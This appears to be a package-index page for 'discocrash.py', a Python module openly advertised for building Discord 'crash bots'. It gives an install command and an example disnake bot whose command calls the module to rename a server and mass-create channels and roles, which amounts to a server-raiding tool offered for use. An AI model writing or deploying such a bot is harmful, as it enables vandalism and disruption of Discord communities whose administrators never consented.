Skip to main content

Module for creating discord crash bots

Project description

discorash.py

This module can be used to create crash bots.

Installing

pip install discocrash.py

Example

import disnake
from discocrash import crash
from disnake.ext import commands, tasks
import asyncio




intents = disnake.Intents.all()
bot = commands.Bot(command_prefix="your token", intents=intents)
bot.remove_command('help')
token = "your token"


@bot.command()
async def crush(ctx):
	await crash.crash(ctx, "crashed server name", "crash channel reason", "crash role reason", "crashed-channel-name", "crashed-role-name", 100, 10) #the penultimate parameter is responsible for how many channels will be created. The last parameter is responsible for how many roles will be created


bot.run(token)

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

discocrash.py-0.1.1.tar.gz (15.9 kB view hashes)

Uploaded Source

Built Distribution

discocrash.py-0.1.1-py3-none-any.whl (17.2 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page